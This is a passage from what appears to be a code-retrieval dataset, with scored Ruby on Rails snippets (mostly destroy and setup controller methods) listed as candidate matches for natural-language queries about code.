"bfbfd14157d07c1f5876025d06b1429e", "score": "0.6563967", "text": "def destroy\n @item_line_price = ItemLinePrice.find(params[:id])\n @item_line_price.destroy\n\n respond_to do |format|\n format.html { redirect_to item_line_prices_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a8e95da7378862cf93a1e6ce22630486", "score": "0.6552591", "text": "def destroy\n @cake_price.destroy\n respond_to do |format|\n format.html { redirect_to cake_prices_url, notice: 'Cake price was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b2683d94949cd26d5891fc6257adafc9", "score": "0.65522623", "text": "def destroy\n @special_price.destroy\n respond_to do |format|\n format.html { redirect_to dashboard_special_prices_url, notice: 'Период успешно удален.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "52374eeb4509dd0100c7e7f3082127fd", "score": "0.65492564", "text": "def destroy\n @price = Price.find(params[:id])\n @price.destroy\n\n respond_to do |format|\n format.html { redirect_to(prices_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "9ec8d80fba746289f5790d8f9141b98c", "score": "0.6549128", "text": "def despacharStock(productoId, direccion, precio, idoc)\n hash = createHash('DELETE' + productoId + direccion + precio.to_s + idoc)\n return JSON.parse(HTTP.headers(:\"Content-Type\" => \"application/json\", :Authorization => \"INTEGRACION grupo6:\" + hash).delete($heroku_url + \"bodega/stock\", :json => {:productoId => productoId , :direccion => direccion , :precio => precio , :oc => idoc}), :symbolize_names => true)\n end", "title": "" }, { "docid": "7b7306cb2d598377b88d9478e0b9d4b6", "score": "0.6533561", "text": "def destroy\n @permit_price.destroy\n respond_to do |format|\n format.html { redirect_to permit_prices_url, notice: 'Permit price was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "524c45bad04aad341af6108603ceac6e", "score": "0.6527604", "text": "def destroy\n @stock_price = StockPrice.find(params[:id])\n @stock_price.destroy\n\n respond_to do |format|\n format.html { redirect_to stock_prices_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "880fdc76ab0b3f0d9b816b16a1267537", "score": "0.651819", "text": "def destroy\n @date_and_price.destroy\n respond_to do |format|\n format.html { redirect_to date_and_prices_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f08618d66e375091ef76cd20fee26b22", "score": "0.6516509", "text": "def destroy\n @price_curf.destroy\n respond_to do |format|\n format.html { redirect_to price_curves_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "72eaeec7d3b68dd07e1924bbc6095e2f", "score": "0.6508805", "text": "def destroy\n @offer_schedule_flat_rate_price = OfferScheduleFlatRatePrice.find(params[:id])\n @offer_schedule_flat_rate_price.destroy\n\n respond_to do |format|\n format.html { redirect_to offer_schedule_flat_rate_prices_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5cba02938a05437862bc470d83951b96", "score": "0.6507434", "text": "def destroy\n @pricing_type.destroy\n respond_to do |format|\n format.html { redirect_to(admin_product_prices_url) }\n end\n website.add_log(user: current_user, action: \"Deleted pricing type: #{@pricing_type.name}\")\n end", "title": "" }, { "docid": "41b6f7f33675617c0d2436b9c54f602f", "score": "0.6503835", "text": "def destroy\n @price.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'Price was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fe4bb91827f9980137315a7717a73b31", "score": "0.6489114", "text": "def destroy\n @calculation_config.destroy\n respond_to do |format|\n format.html { redirect_to calculation_configs_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8851af6e4bfc62f103b75d6cb5d76265", "score": "0.64865226", "text": "def destroy\n @express_price.destroy\n respond_to do |format|\n format.html { redirect_to express_prices_url, notice: 'Express price was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3c11894f819518a41c42c57b267b2060", "score": "0.64829445", "text": "def destroy\n @dstrbtr_whl_sl_price.destroy\n respond_to do |format|\n format.html { redirect_to dstrbtr_whl_sl_prices_url, notice: 'Dstrbtr whl sl price was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "04c1e3440feef9cf6bf4fab64db1f1bb", "score": "0.6480996", "text": "def destroy\n @stockprice.destroy\n respond_to do |format|\n format.html { redirect_to stockprices_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1a5a62db91141601d98e7ffc0efb973b", "score": "0.6466307", "text": "def destroy\n @new_relic_config.destroy\n respond_to do |format|\n format.html { redirect_to new_relic_configs_url, notice: 'New relic config was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b69adf71366da7c14d50405126dd8ac3", "score": "0.6461151", "text": "def destroy\n @fuelprice = Fuelprice.find(params[:id])\n @fuelprice.destroy\n\n respond_to do |format|\n format.html { redirect_to fuelprices_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2c5956b2f5c7000ac708704ada3ab869", "score": "0.6453728", "text": "def destroy\n @client_product.destroy\n respond_to do |format|\n format.html { redirect_to @client, notice: 'Custom price was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "89a06d86ec98f7ae5ef8ee7b16dc0c1b", "score": "0.6445695", "text": "def destroy\n @price_update.destroy\n respond_to do |format|\n format.html { redirect_to price_updates_url, notice: 'Price update was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "35b9860b7cb9b20ea8cf1ca2465439c2", "score": "0.64392215", "text": "def destroy\n @price.destroy\n respond_to do |format|\n format.html { redirect_to prices_url, notice: 'Price was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "35b9860b7cb9b20ea8cf1ca2465439c2", "score": "0.64392215", "text": "def destroy\n @price.destroy\n respond_to do |format|\n format.html { redirect_to prices_url, notice: 'Price was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "35b9860b7cb9b20ea8cf1ca2465439c2", "score": "0.64392215", "text": "def destroy\n @price.destroy\n respond_to do |format|\n format.html { redirect_to prices_url, notice: 'Price was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "eb55435b4c1659165de1a309290cfd48", "score": "0.64305854", "text": "def destroy\n @customer_price = CustomerPrice.find(params[:id])\n @customer_price.destroy\n\n respond_to do |format|\n format.html { redirect_to customer_prices_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "199ac086a72cef3596499a124412fa25", "score": "0.64224964", "text": "def destroy\n @price.destroy\n respond_to do |format|\n format.html { redirect_to prices_url, notice: 'Stock was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d47eaef4c92ff915f726c71f76ae7ad4", "score": "0.64154184", "text": "def destroy\n @coh_price.destroy\n respond_to do |format|\n format.html { redirect_to coh_prices_url, notice: 'Coh price was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d47a040ac1c8656f20ac3ca74a4149fd", "score": "0.64116675", "text": "def destroy\n @trade_config.destroy\n respond_to do |format|\n format.html { redirect_to trade_configs_url, notice: '交易配置删除成功' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "26802877f9d3c18f9c2d680a64e53b13", "score": "0.6386032", "text": "def destroy\n @store_config = StoreConfig.find(params[:id])\n @store_config.destroy\n\n respond_to do |format|\n format.html { redirect_to store_configs_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "32cf550efd37392c2406b908a150e0ad", "score": "0.6385355", "text": "def destroy\n @config1 = Config1.find(params[:id])\n @config1.destroy\n\n respond_to do |format|\n format.html { redirect_to config1s_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5574e1e456a1991d0c2eaf0fc55e0dca", "score": "0.63842475", "text": "def supplier_delete\n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : Entered in supplier Delete\"\n begin\n \tid = params[\"format\"] \n user = RestClient.delete $api_service+'/suppliers/'+id\n rescue => e\n Rails.logger.custom_log.error { \"#{e} supplier_controller supplier_delete method\" }\n end\n redirect_to action: \"index\"\n end", "title": "" }, { "docid": "fb35980b3d46365189a657be9dcaccec", "score": "0.6383478", "text": "def destroy\n # @pricing.update(is_deleted: true)\n @custom_gallery_layout = CustomGalleryLayout.where(pricing_id: @pricing.id)\n @custom_gallery_layout.update_all(pricing_id: params[:new_pricesheet])\n @pricing.destroy\n respond_to do |format|\n format.html { redirect_to pricings_path(id: current_user.id), notice: 'Pricing was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "42031532e6d418a3bc97c140ba35c7c0", "score": "0.63817465", "text": "def destroy\n @price_snapshot = PriceSnapshot.find(params[:id])\n @price_snapshot.destroy\n\n respond_to do |format|\n format.html { redirect_to price_snapshots_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c7eb24278319bff80c0189612d04532f", "score": "0.6377886", "text": "def destroy\n @item_price.destroy\n respond_to do |format|\n format.html { redirect_to item_prices_url, notice: 'Item price was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c0351e42f60e6e38eadb6574cfc28d8f", "score": "0.6377826", "text": "def destroy\n @admin_pricing_const.destroy\n respond_to do |format|\n format.html { redirect_to admin_pricing_consts_path, notice: mk_notice(@admin_pricing_const, :id, 'Const', :destroy) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b1a17c1ee1af05c79fe156622df44818", "score": "0.6375241", "text": "def delete(path)\n begin\n response = client[path].delete :accept => 'application/json'\n rescue Exception => e\n puts e.inspect\n end\n end", "title": "" }, { "docid": "00570bd3b5446da292c454bd32ff97c6", "score": "0.6374716", "text": "def destroy\n @area_base_price = AreaBasePrice.find(params[:id])\n @area_base_price.destroy\n\n respond_to do |format|\n format.html { redirect_to area_base_prices_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fbb2f55787fe7cbd1a1138e5a26a763d", "score": "0.636315", "text": "def destroy\n @spare_price.destroy\n respond_to do |format|\n format.html { redirect_to spare_prices_url, notice: 'Spare price was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b0d2da3465551207cc96e933a5bd0ef4", "score": "0.63592327", "text": "def destroy\n @create_price.destroy\n respond_to do |format|\n format.html { redirect_to create_prices_url, notice: 'Create price was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d3f737cb54fd2816fbeea01b3c8adddf", "score": "0.6358403", "text": "def destroy\n @store_configuration = StoreConfiguration.find(params[:id])\n @store_configuration.destroy\n\n respond_to do |format|\n format.html { redirect_to store_configurations_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f0e95cf7c37214b3cb98c52a6b54b2f4", "score": "0.635265", "text": "def destroy\n @miscellaneous_pricing.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "fc768aa3aba3673b59b773def7f79162", "score": "0.6348887", "text": "def destroy\n @admin_selling_config_profit.destroy\n respond_to do |format|\n format.html { redirect_to admin_selling_config_profits_path, notice: mk_notice(@admin_selling_config_profit, :id, 'Profit', :destroy) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f09b28d443b3df25993de9e7be7ca35f", "score": "0.6343559", "text": "def destroy\n @sticker_configuration = StickerConfiguration.find(params[:id])\n @sticker_configuration.destroy\n\n respond_to do |format|\n format.html { redirect_to sticker_configurations_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3182cac99b1d0df21834840c43f67706", "score": "0.6343258", "text": "def destroy\n @common_price = CommonPrice.find(params[:id])\n @common_price.destroy\n\n respond_to do |format|\n format.html { redirect_to(common_prices_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "4472801f3808aaf8e3b3080da5335a36", "score": "0.63420355", "text": "def destroy\n @price.destroy\n redirect_to shipping_admin_prices_path, notice: t('message.global.destroy_success')\n end", "title": "" }, { "docid": "349a51323e209e31dc10ca8aacc77c3e", "score": "0.6340552", "text": "def destroy\n @crypto_price.destroy\n respond_to do |format|\n format.html { redirect_to crypto_prices_url, notice: \"Crypto price was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f7dd66b3da61f7305a4439421a3fd1d7", "score": "0.6340445", "text": "def destroy\n @ih_price.destroy\n respond_to do |format|\n format.html { redirect_to ih_prices_url, notice: 'Ih price was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "60c98b037f8221ef39b19f37458da2bb", "score": "0.6335309", "text": "def destroy\n @offer_price = OfferPrice.find(params[:id])\n @offer_price.destroy\n\n respond_to do |format|\n format.html { redirect_to(offer_prices_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "3a6193289ad905ac823f6fc18f3e83c6", "score": "0.6334335", "text": "def destroy\n @price.destroy\n respond_to do |format|\n format.html {redirect_to prices_url, notice: 'Price was successfully destroyed.'}\n format.json {head :no_content}\n end\n end", "title": "" }, { "docid": "c0c60da57c6daa5fd1263320541f3eb7", "score": "0.6333869", "text": "def destroy\n @service_price.destroy\n respond_to do |format|\n format.html { redirect_to service_prices_url, notice: 'Service price was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "625f96140612172b45ee0581ef5f24c3", "score": "0.6333472", "text": "def destroy\n @custumer_price.destroy\n respond_to do |format|\n format.html { redirect_to custumer_prices_url, notice: 'Custumer price was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f2543716692231f3ca4a47e24492a546", "score": "0.633014", "text": "def destroy\n @supply_food_configuration.destroy\n respond_to do |format|\n format.html { redirect_to supply_food_configurations_url, notice: 'Supply food configuration was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "474a53c8543f2c58cedc98cc5074a78f", "score": "0.63299274", "text": "def destroy\n @pricesheet = Pricesheet.find(params[:id])\n @pricesheet.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_pricesheets_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6c0739eaa0d454df9ad8e26d9f40f49c", "score": "0.63167864", "text": "def destroy\n @api_supermarket.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b25d23a916e0956bdc1db4d869634785", "score": "0.63083756", "text": "def destroy\n @price.destroy\n respond_to do |format|\n format.html { redirect_to @station, notice: t('price_successfully_destroyed') }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "962a705e81790b3d4f8ced03c6c7d496", "score": "0.6307942", "text": "def destroy\n @client_unit_price.destroy\n respond_to do |format|\n format.html { redirect_to client_unit_prices_url, notice: 'Client unit price was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3196c5c1f716f7bf94c85d2d2ed560c2", "score": "0.63079023", "text": "def destroy\n @pricelist = Pricelist.find(params[:id])\n @pricelist.destroy\n\n respond_to do |format|\n format.html { redirect_to pricelists_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "111592deba8fb9ee5170fa7b4f3c2c70", "score": "0.63024163", "text": "def destroy\n @prd_m_whl_sl_price.destroy\n respond_to do |format|\n format.html { redirect_to prd_m_whl_sl_prices_url, notice: 'Prd m whl sl price was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "642bcbc304d4c08be3bb94802359ce7d", "score": "0.6295797", "text": "def destroy\n @competitor_price.destroy\n respond_to do |format|\n format.html { redirect_to competitor_prices_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "cc4dc23bc59816959cf049735256e466", "score": "0.6294403", "text": "def destroy\n @sale_price = Spree::SalePrice.find(params[:id])\n @sale_price.destroy\n\n respond_with(@sale_price)\n end", "title": "" }, { "docid": "cc4dc23bc59816959cf049735256e466", "score": "0.6294403", "text": "def destroy\n @sale_price = Spree::SalePrice.find(params[:id])\n @sale_price.destroy\n\n respond_with(@sale_price)\n end", "title": "" }, { "docid": "075c63fe97a3afcc6da03c4dff0f9028", "score": "0.6290774", "text": "def destroy\n @price_list = PriceList.find(params[:id])\n @price_list.destroy\n\n respond_to do |format|\n format.html { redirect_to price_lists_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "00c90bc63b0302afbbc4b2979ae20b57", "score": "0.62881327", "text": "def api_delete(path, data = {})\n api_request(:delete, path, :data => data).parsed\n end", "title": "" }, { "docid": "c7a3cc2437144ccaba3194246ad0f56b", "score": "0.62848264", "text": "def destroy\n @price = @price_source.find(params[:id])\n @price.destroy\n\n respond_to do |format|\n format.html { redirect_to :controller => :dashboard, :action => :info, :id => @price.typeid }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "5af84fe68d9bb38687e24d01647f3922", "score": "0.6284035", "text": "def destroy\n @admin_market = Market.find(params[:id])\n @admin_market.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_markets_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "499bdde9c1238004f9e8b24ebfa518cd", "score": "0.62755096", "text": "def destroy\n @price_curve_nymex.destroy\n respond_to do |format|\n format.html { redirect_to price_curve_nymexes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0740ccbf510ab3b765800ec03629c948", "score": "0.6269785", "text": "def destroy\n @price_setting = PriceSetting.find(params[:id])\n @price_setting.destroy\n\n respond_to do |format|\n format.html { redirect_to(supplier_jobs_path(params[:supplier_id])) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "6c43ffe70598587196f47c9ad93e8f2d", "score": "0.6265565", "text": "def destroy\n @pricing = Pricing.find(params[:id])\n @pricing.destroy\n\n respond_to do |format|\n format.html { redirect_to pricings_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e773078b8237c164c91687cfec12e604", "score": "0.6252675", "text": "def destroy\n @price_history = PriceHistory.find(params[:id])\n @price_history.destroy\n\n respond_to do |format|\n format.html { redirect_to price_histories_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d07ecf2991bcff6425699376b4f33582", "score": "0.6251496", "text": "def destroy\n @price_entry.destroy\n respond_to do |format|\n format.html { redirect_to price_entries_url, notice: 'Price entry was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c1cde2518cb592b6add14fe05ae1b37d", "score": "0.6250824", "text": "def delete\n options = self.to_h \n uri = self.class.path_builder(:delete, self.id)\n data = {}\n data['id'] = self.id \n data = data.to_json\n VivialConnect::Client.instance.make_request('DELETE', uri, data)\n end", "title": "" }, { "docid": "ad4ab2a54aabea56821868b968181068", "score": "0.62505275", "text": "def destroy\n @price_index = PriceIndex.find(params[:id])\n @price_index.destroy\n\n respond_to do |format|\n format.html { redirect_to(price_indices_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "5b803f2f5b8bda548225ccb997c834c7", "score": "0.6247641", "text": "def destroy\n @gprice.destroy\n respond_to do |format|\n format.html { redirect_to gprices_url, notice: 'Gprice was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "179ff0053e8f4f967cb3d92206094cf0", "score": "0.62448084", "text": "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "title": "" }, { "docid": "4c19d0cdab8541da29ce8b3db18db32b", "score": "0.624233", "text": "def destroy\n # @core_stock_in_bill.destroy\n # respond_to do |format|\n # format.html { redirect_to core_stock_in_bills_url }\n # format.json { head :no_content }\n # end\n end", "title": "" }, { "docid": "3f652004d76ef264f743948bb9658a3d", "score": "0.6237305", "text": "def destroy\n @i_price.destroy\n respond_to do |format|\n format.html { redirect_to i_prices_url, notice: 'I price was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4a4d73ec781fadcebf7c39a9eab21b73", "score": "0.62338996", "text": "def destroy\n @settlement_price.destroy\n respond_to do |format|\n format.html { redirect_to settlement_prices_url, notice: 'Settlement price was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c6673162fec677eea8eced46612d9f06", "score": "0.6232395", "text": "def destroy\n @unitprice = Unitprice.find(params[:id])\n @unitprice.destroy\n\n respond_to do |format|\n format.html { redirect_to unitprices_url }\n format.json { head :no_content }\n end\n end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "9e71af60ac950d8518eb762f118f978c", "score": "0.0", "text": "def set_housing_type\n @housing_type = HousingType.find(params[:id])\n end", "title": "" } ]
[ { "docid": "bd89022716e537628dd314fd23858181", "score": "0.6163163", "text": "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "title": "" }, { "docid": "3db61e749c16d53a52f73ba0492108e9", "score": "0.6045976", "text": "def action_hook; end", "title": "" }, { "docid": "b8b36fc1cfde36f9053fe0ab68d70e5b", "score": "0.5946146", "text": "def run_actions; end", "title": "" }, { "docid": "3e521dbc644eda8f6b2574409e10a4f8", "score": "0.591683", "text": "def define_action_hook; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "bfb8386ef5554bfa3a1c00fa4e20652f", "score": "0.58349305", "text": "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "title": "" }, { "docid": "6c8e66d9523b9fed19975542132c6ee4", "score": "0.5776858", "text": "def add_actions; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703237", "text": "def callbacks; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703237", "text": "def callbacks; end", "title": "" }, { "docid": "6ce8a8e8407572b4509bb78db9bf8450", "score": "0.5652805", "text": "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "title": "" }, { "docid": "1964d48e8493eb37800b3353d25c0e57", "score": "0.5621621", "text": "def define_action_helpers; end", "title": "" }, { "docid": "5df9f7ffd2cb4f23dd74aada87ad1882", "score": "0.54210985", "text": "def post_setup\n end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5391541", "text": "def before_setup; end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.53794575", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.5357573", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "0464870c8688619d6c104d733d355b3b", "score": "0.53402257", "text": "def define_action_helpers?; end", "title": "" }, { "docid": "0e7bdc54b0742aba847fd259af1e9f9e", "score": "0.53394014", "text": "def set_actions\n actions :all\n end", "title": "" }, { "docid": "5510330550e34a3fd68b7cee18da9524", "score": "0.53321576", "text": "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "title": "" }, { "docid": "97c8901edfddc990da95704a065e87bc", "score": "0.53124547", "text": "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "title": "" }, { "docid": "4f9a284723e2531f7d19898d6a6aa20c", "score": "0.529654", "text": "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "title": "" }, { "docid": "83684438c0a4d20b6ddd4560c7683115", "score": "0.5296262", "text": "def before_actions(*logic)\n self.before_actions = logic\n end", "title": "" }, { "docid": "210e0392ceaad5fc0892f1335af7564b", "score": "0.52952296", "text": "def setup_handler\n end", "title": "" }, { "docid": "a997ba805d12c5e7f7c4c286441fee18", "score": "0.52600986", "text": "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "1d50ec65c5bee536273da9d756a78d0d", "score": "0.52442724", "text": "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "635288ac8dd59f85def0b1984cdafba0", "score": "0.5232394", "text": "def workflow\n end", "title": "" }, { "docid": "e34cc2a25e8f735ccb7ed8361091c83e", "score": "0.523231", "text": "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "title": "" }, { "docid": "78b21be2632f285b0d40b87a65b9df8c", "score": "0.5227454", "text": "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.52226824", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "923ee705f0e7572feb2c1dd3c154b97c", "score": "0.52201617", "text": "def process_action(...)\n send_action(...)\n end", "title": "" }, { "docid": "b89a3908eaa7712bb5706478192b624d", "score": "0.5212327", "text": "def before_dispatch(env); end", "title": "" }, { "docid": "7115b468ae54de462141d62fc06b4190", "score": "0.52079266", "text": "def after_actions(*logic)\n self.after_actions = logic\n end", "title": "" }, { "docid": "d89a3e408ab56bf20bfff96c63a238dc", "score": "0.52050185", "text": "def setup\n # override and do something appropriate\n end", "title": "" }, { "docid": "62c402f0ea2e892a10469bb6e077fbf2", "score": "0.51754695", "text": "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "title": "" }, { "docid": "72ccb38e1bbd86cef2e17d9d64211e64", "score": "0.51726824", "text": "def setup(_context)\n end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "1fd817f354d6cb0ff1886ca0a2b6cce4", "score": "0.5166172", "text": "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "title": "" }, { "docid": "5531df39ee7d732600af111cf1606a35", "score": "0.5159343", "text": "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "title": "" }, { "docid": "bb6aed740c15c11ca82f4980fe5a796a", "score": "0.51578903", "text": "def determine_valid_action\n\n end", "title": "" }, { "docid": "b38f9d83c26fd04e46fe2c961022ff86", "score": "0.51522785", "text": "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "title": "" }, { "docid": "199fce4d90958e1396e72d961cdcd90b", "score": "0.5152022", "text": "def startcompany(action)\n @done = true\n action.setup\n end", "title": "" }, { "docid": "994d9fe4eb9e2fc503d45c919547a327", "score": "0.51518047", "text": "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "title": "" }, { "docid": "62fabe9dfa2ec2ff729b5a619afefcf0", "score": "0.51456624", "text": "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", 